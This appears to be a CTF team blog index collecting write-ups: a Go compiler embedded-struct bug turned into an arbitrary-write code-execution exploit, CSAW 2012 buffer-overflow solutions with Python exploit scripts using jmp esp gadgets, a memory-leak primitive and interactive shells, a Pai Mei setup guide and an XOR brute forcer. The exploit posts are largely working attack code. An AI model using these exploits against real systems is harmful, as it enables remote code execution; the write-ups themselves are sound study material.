Blog Posts
Blog Posts

fuzzy

tl;dr — fuzzy is a “super secure parsing engine”, that includes a histogram function. The histogram ascii text uses a buffer on the stack, but will increment buckets past the end of the buffer if non ascii text is provided, allowing us to rop.

Continue Reading →

Exploiting a Go Binary

Introduction Earlier this year, tylerni7 showed us a proof of concept for a 32 bit Go exploit using this issue. geohot and I had a wager over who could get the first remote code execution on play.golang.org: he won, but just barely ;-). Props also to ricky for helping to find the underlying cause/writing the patch. Here is a summary of how we did it. Note: play.golang.org is properly sandboxed, so code execution there does not actually let you do anything. Had this been a more serious bug that could actually be used for anything malicious, we would have reported it and not used it as a CTF problem. This post is cross posted on my personal blog, original post there. The Bug Go has support for embedded structs. You can define an embedded struct as follows:

1
2
3
4
5
6
7
8
9
10
type Embedded struct {
   foo int
}

type Struct struct {
   Embedded
   bar int
}

var instance Struct
It is valid to do both instance.bar and instance.foo. The problem comes when you try something slightly trickier:
1
2
3
4
5
6
7
8
9
10
type Embedded struct {
   foo int
}

type Struct struct {
   *Embedded
   bar int
}

var instance Struct
When you access instance.foo (a member of an uninitialized struct), it incorrectly offsets from 0 rather than the base of an Embedded struct. Normally, when dereferencing a pointer inside a struct, the go compiler emits guard code which will cause a segfault if the pointer is nil. However, this code is not emitted when the pointer is the first element of the struct, since it’s assumed that this will cause a segfault whenever it is used anyway. This assumption is not always valid, as the pointer can be to a large struct such that the offsets of members of the large struct are valid addresses. The Vulnerability We define an enormous struct and use it to offset memory:
1
2
3
4
5
6
7
8
9
10
type Embedded struct {
   offset [0x400100]byte
   address uint32
}

type Struct struct {
   *Embedded
   bar int
}
var instance Struct
Now we can do instance.address = 0xdeadbeef and we have written to 0x400100! This is the arbitrary write primitive we need. The Exploit Once you have an arbitrary write in go, it is really easy to get arbitrary code execution. We put a function pointer in our data segment (we wanted to put it in the heap, but that didn’t work on 64bit Go — apparently the size of a struct is limited to 32 bits. Luckily, the data segment is in the lower 32 bits) and change it to point to our shell code using the arbitrary write. Since Go has no randomization at all, this is as simple as running the program twice. Full exploit below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package main

import "fmt"

// Address to write, computed from a previous run.
const addr_to_overwrite = 0x50e2f0
// &shellcode, computed from a previous run.
const val_to_overwrite uint64 = 0xc200035160

type Embedded struct {
   offset [addr_to_overwrite]byte
   payload uint64
}

type Nested struct {
  // This magic is necessary is because there is an explict null check if
  // if the offset is greater than 0x1000.
  Embedded
}

type Struct struct {
 // The issue is that a reference to the embeded struct pointer here
 // will be offset from null (rather than the true base of a Nested struct).
 // We thus just make sizeof(the embedded struct) large enough to point
 // to the address we want to overwrite.
 //
 // See https://code.google.com/p/go/issues/detail?id=5336
 *Nested
}

var unused = func () {}

func main() {
 s := &Struct{}
 shellcode := "\x90\x90\x90\x90\x90\x90\x90\xeb\xfe"

 fmt.Println("You should overwrite this: ", &unused)
 fmt.Println("With this: ", &shellcode)

 fmt.Println("***********************************************");
 fmt.Println("Overwriting ", &s.payload, " with ", val_to_overwrite)

 *(&s.payload) = val_to_overwrite;

 unused();
}}
What Now? Well, clearly this issue should be fixed. I also think it is important for Go to add the standard protections (ASLR, NX) — I posted an article earlier about security in Go where I strongly advocated those protections. If this language is to be taken seriously, it should really start worrying about making exploitation difficult. Edit: this article was written a while ago. The the above exploit will not work because Go 1.1 uses a non-executable heap and stack (the vulnerability still gives an arbitrary read/write, but a little extra work is needed to complete the exploit). Good job go!

Continue Reading →

PHDay quals bin300

The recent Positive Hack Days qualifier round had a lot of fun problems. Binary 300 was the only problem that was solved in the competition but not solved by PPP. It was also a very nice crypto problem which was a lot of fun. We ended up having a brute forcer finish the challenge a couple hours too late, which got me interested in seeing how fast a brute forcer could go, if we had more time to write it.

Continue Reading →

Pai Mei on Mac OSX 10.8

tl;dr Pai Mei is an open source windows reverse engineering framework. At one point, it was ported to Mac OSX but the project is not very actively maintained and the current instructions are quite lacking. This post hopes to offer some guidance and reduce some of the frustration involved in installing Pai Mei on Mac OSX. Getting the libraries The most difficult thing was finding how to get all the packages working. First and foremost, Pai Mei was designed for a 32 bit windows libary so some trickery is required to get it to work in 64 bit mode (which is necessary, because I could not get the latest wxPython from Homebrew to work in 32 bit mode). I did not realize at first that there was a way to use Pai Mei in 64 bit mode, so I spent a long time attempting to find universal binaries for wxPython and MySql. Pai Mei depends on a number of packages:

  • mysql-python: I installed via pip install mysql-python.
  • pydasm: I installed via pip install pydasm.
  • ctypes: I believe is included by default in Python 2.5 and higher.
  • MySql: I installed via brew install mysql --universal to have a universal binary (downloading from the MySql homepage means you will get a single architecture binary).
  • wxPython: I installed via brew install wxmac --universal and then manually symlinked it into correct location:
    1
    2
    
    # ln -s /usr/local/Cellar/wxmac/2.9.4.0/lib/python2.7/site-packages/wx /Library/Python/2.7/site-packages/wx
    # ln -s /usr/local/Cellar/wxmac/2.9.4.0/lib/python2.7/site-packages/wxPython-2.9.4.0-py2.7.egg-info /Library/Python/2.7/site-packages/wxPython-2.9.4.0-py2.7.egg-info
    
(I sincerely hope there is a better way, but I couldn’t find one). Note: as of yet, I haven’t found a way to get wxPython to work in 32 bit python. I’ll update the post when I figure that out.</li> </ul> Installing Pai Mei Pai Mei uses the pydbg library (I believe it is linked incorrectly in the repository as a git submodule). I strongly encourage you this version of pydbg instead, which is a port to 64 Mac OSX by Charlie Miller and fG. Cloning the repository and installing via instructions in the MacOSX/README worked fine for me. Warning: you can only use this library to debug a 32 bit process from 32 bit python and a 64 bit process from 64 bit python: to use 32 bit python, do:
1
VERSIONER_PYTHON_PREFER_32_BIT=yes /usr/bin/python
After installing pydbg64, I now had a directory tree that looked like:
1
2
3
4
5
6
7
8
9
pydbg64/
├── pydbg
└── ...
paimei/
├── pgraph
├── pida
├── pydbg
├── utils
└── ...
I deleted the paimei/pydbg directory and added a symlink to the pydbg64/pydbg directory, then copied the fat libmacdll.dylib from pydbg64/pydbg/libmacdll.dylib to paimei/utils. This left a directory that looked like this:
1
2
3
4
5
6
7
8
9
10
11
pydbg64/
├── pydbg
└── ...
paimei/
├── pgraph
├── pida
├── pydbg -> ../pydbg64/pydbg
├── utils
│   ├── libmacdll.dylib
│   └── ...
└── ...
We now need to install all the Pai Mei packages (utils, pida, pgraph) into the correct place so python can find them.
1
2
3
# ln -s /usr/local/paimei/pida /Library/Python/2.7/site-packages/pida
# ln -s /usr/local/paimei/pgraph /Library/Python/2.7/site-packages/pgraph
# ln -s /usr/local/paimei/utils /Library/Python/2.7/site-packages/utils

Running Pai Mei

Before we can run Pai Mei, we must initialize the database:
1
$ python /usr/local/paimei/__setup_mysql.py localhost root rootpassword
Next, we have to patch a few bugs in Pai Mei (it calls a deprecated function and the MySql modal tries to helpfully destroy itself after successfully connecting to the database, but unfortunately does so before Python is completely done with it).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
diff --git a/console/PAIMEIconsole.pyw b/console/PAIMEIconsole.pyw
index a45cbbf..0fea2ae 100644
--- a/console/PAIMEIconsole.pyw
+++ b/console/PAIMEIconsole.pyw
@@ -82,7 +82,7 @@ class PAIMEIapp (wx.App):
     '''

     def OnInit (self):
-        wx.InitAllImageHandlers()
+#        wx.InitAllImageHandlers()

         splash = PAIMEIsplash()
         splash.Show()
diff --git a/console/support/mysql_connect_dialog.py b/console/support/mysql_connect
index 2201521..b641e37 100644
--- a/console/support/mysql_connect_dialog.py
+++ b/console/support/mysql_connect_dialog.py
@@ -104,7 +104,7 @@ class mysql_connect_dialog(wx.Dialog):
         self.parent.mysql_password = password

         self.mysql_connect(host, username, password)
-        self.Destroy()
+#       self.Destroy()

     def mysql_connect (self, host, username, password):
         try:
diff --git a/utils/process_stalker.py b/utils/process_stalker.py
index 987eec9..32206e4 100644
--- a/utils/process_stalker.py
+++ b/utils/process_stalker.py
@@ -281,11 +283,15 @@ class process_stalker:
                                 continue

                         basic_blocks.append(bb.ea_start)

                 if last_dll: self.log("Setting %d breakpoints on basic blocks in %s
                 else:        self.log("Setting %d breakpoints on basic blocks in ma

-                self.pydbg.bp_set(basic_blocks, restore=self.restore)
+               for block in basic_blocks:
+                       self.pydbg.bp_set(block, restore=self.restore)
Now, we must make sure that python has the appropriate permisisons to monitor other processes before we can use Pai Mei. Unfortunately, this is not so easy anymore — since Snow Leopard, processes must be code signed in order to escalate privileges (a good writeup here). We could possibly patch pydbg to ask for permissions and sign it to work or disabling some system wide setting, but for now we will just run Pai Mei as root. A last disclaimer: the process stalker uses the name of the executable to find which pida module to load. Unfortunately, it truncates the process name, striping the directory, but insists that the name matches the full path to the pida module. I managed to hard code it to just always use the first pida module, but I don’t know what the correct solution is.
1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/console/modules/_PAIMEIpstalker/ProcessListCtrl.py b/console/modules/_PAIMEIpstalker/ProcessListCtrl.py
index b37bd01..63880e3 100644
--- a/console/modules/_PAIMEIpstalker/ProcessListCtrl.py
+++ b/console/modules/_PAIMEIpstalker/ProcessListCtrl.py
@@ -166,7 +166,7 @@ class ProcessListCtrl (wx.ListCtrl, ListCtrlAutoWidthMixin, ColumnSorterMixin):
             heavy               = self.top.heavy.GetValue(),                \
             ignore_first_chance = self.top.ignore_first_chance.GetValue(),  \
             log                 = self.top.msg,                             \
-            main                = main,                                     \
+            main                = self.top.pida_modules.keys()[0],          \
             mysql               = self.top.main_frame.mysql,                \
             pida_modules        = self.top.pida_modules,                    \
             pydbg               = dbg,                                      \
After all this, I finally got Pai Mei (barely) working but I suspect I would have had an easier time and more fun just writing it myself 😉

Continue Reading →

CSAW Quals 2012 — Networking

CSAW Quals 2012 — exp500

Overview challenge1 is an Linux x86 binary that has a buffer overflow. Using information disclosed from another problem, we can use libc gadget to jump to our shellcode. Writeup After reversing through the standard network / privilege dropping code, we find an interesting function q_generate that has a buffer overflow. Here we take advantage of having a shell on the box (via exp400) to get some useful information: we get a copy of libc to search for gadgets and the base offset where libc is loaded.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ cat /proc/self/maps
08048000-08053000 r-xp 00000000 08:01 786434     /bin/cat
08053000-08054000 r-xp 0000a000 08:01 786434     /bin/cat
08054000-08055000 rwxp 0000b000 08:01 786434     /bin/cat
08055000-08076000 rwxp 00000000 00:00 0          [heap]
b7e31000-b7e32000 rwxp 00000000 00:00 0
b7e32000-b7fd1000 r-xp 00000000 08:01 1572883    /lib/i386-linux-gnu/libc-2.15.so
b7fd1000-b7fd3000 r-xp 0019f000 08:01 1572883    /lib/i386-linux-gnu/libc-2.15.so
b7fd3000-b7fd4000 rwxp 001a1000 08:01 1572883    /lib/i386-linux-gnu/libc-2.15.so
b7fd4000-b7fd7000 rwxp 00000000 00:00 0
b7fdb000-b7fdd000 rwxp 00000000 00:00 0
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 1572880    /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r-xp 0001f000 08:01 1572880    /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rwxp 00020000 08:01 1572880    /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
We also observe that NX is disabled, so we use a jmp esp gadget from libc to jump to our shellcode.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string

shellcode = ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# s.connect(('127.0.0.1', 12345))
s.connect(('128.238.66.213', 12345))
f = s.makefile('rw', bufsize=0)

libc_offset = 0xb7e32000

jmp_esp = 0x0014853F + libc_offset

first_part =  "D"*124
second_part = "A"*int(0x38)  + "BBBB" + struct.pack("I", jmp_esp) + shellcode

payload = first_part + second_part + "\n"

f.write(payload)

t = telnetlib.Telnet()
t.sock = s
t.interact()

Continue Reading →

CSAW Quals 2012 — exp400

CSAW Quals 2012 — exp300

Overview 聊天 is an Linux x86 binary that uses signal handlers to print a bunch of Chinese before overflowing a buffer. With a send gadget giving us an arbitrary read, we can find a jmp esp in libc and jump to our shellcode on the (executable) stack. Writeup We reverse the binary, and see that main forks, drops privileges, and then raises signals until eventually the function below is called. We have a buffer overflow and hence control of eip, but unfortunately nothing else. Luckily, there is a call to send elsewhere in the code (that also loads the correct fd, etc for us). This works for us, since edx = 0x800 at the return of our vulnerable function. We thus have a way to read 0x800 bytes from an arbitrary memory address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string

def read_mem(addr):
        print "Sleeping before reading %x" % addr
        time.sleep(.5)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('128.238.66.218', 4842))
        # s.connect(('127.0.0.1', 4842))
        f = s.makefile('rw', bufsize=0)

        send_buf = 0x804890e

        payload = (
                "A"*326 +
                struct.pack('I', send_buf) +
                "AAAA"*11 +
                struct.pack('I', addr) +
                "BBBB"
        )

        f.write(payload)
        x = f.read(116)
        f.flush()

        buf = f.read(0x800)
        f.close()

        return buf
Our general strategy at this point will be: read the GOT entries to find a libc address, then search in libc for a jmp esp gadget, then use that to return to our shellcode (jmp esp works since we know that NX is disabled). Here is the solution:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string

def find_jmp_esp():
        gots = read_mem(0x804B000)  # The offset of the got entries.

        setsockopt = struct.unpack('I', gots[:4])[0]
        libc_guess = setsockopt - 0xEC6D0  # Where setsockopt is located on my ubuntu machine.

        buf_base = libc_guess - (libc_guess % 0x1000)

        buf = read_mem(buf_base)
        while buf:
                jmp_esp = buf.find("\xff\xe4")  # jmp esp
                if jmp_esp != -1:
                        return buf_base + jmp_esp
                else:
                        buf_base += len(buf)
                        buf = read_mem(buf_base)

        return 0

def solve(jmp_esp):
        payload = (
                "A"*326 +
                struct.pack('I', jmp_esp)+
                shellcode
        )

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('128.238.66.218', 4842))
        # s.connect(('127.0.0.1', 4842))
        f = s.makefile('rw', bufsize=0)

        f.write(payload)

        t = telnetlib.Telnet()
        t.sock = s
        t.interact()

jmp_esp = find_jmp_esp()

print "Found jmp_esp at %x" % jmp_esp

solve(jmp_esp)

Continue Reading →

CSAW Quals 2012 — exp200

Mitre STEM CTF 2012 — bin500

Overview

bin500 is an arm binary that de-obfuscates and prints a key by xor-ing it with a stack address. Writeup After opening up this binary, we see that it puts 4 strings onto the stack attempts to decrypt each of them into a valid key. We look at the decryption function and it merely xors a byte (chosen from a stack address) against each byte of the input. Rather figuring out how to run this (or waiting for ASLR to give us the right byte), we write a simple program to try every byte on all 4 strings.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include &lt;stdio.h&gt;

void crypt(char* input, char byte, char* output) {
	size_t i;
	for (i = 0; i &lt; 12; i++) {
		output[i] = byte ^ input[i];
	}
}

void check_data(char* data) {
	char output[80];
	size_t byte;
	for (byte = 0; byte &lt; 256; byte++) {
		crypt(data, byte, output);
		if (!strncmp(output, "MCA", 3)) {
			printf("%s\n", output);
		}
	}
}

int main(int argc, char** argv) {
	char* a = "\x3F\x3E\x21\x5C\x25\x23\x28\x30\x36\x30\x38\x3F";
	char* b= "\x2C\x22\x20\x4C\x57\x51\x52\x57\x56\x27\x27\x25";
	char* c = "\x34\x21\x38\x5C\x32\x37\x30\x38\x3D\x4B\x56\x59";

	check_data(a);
	check_data(b);
	check_data(c);
}
1
2
3
% gcc bin500.c
% ./a.out
MCA-60367FFD

Continue Reading →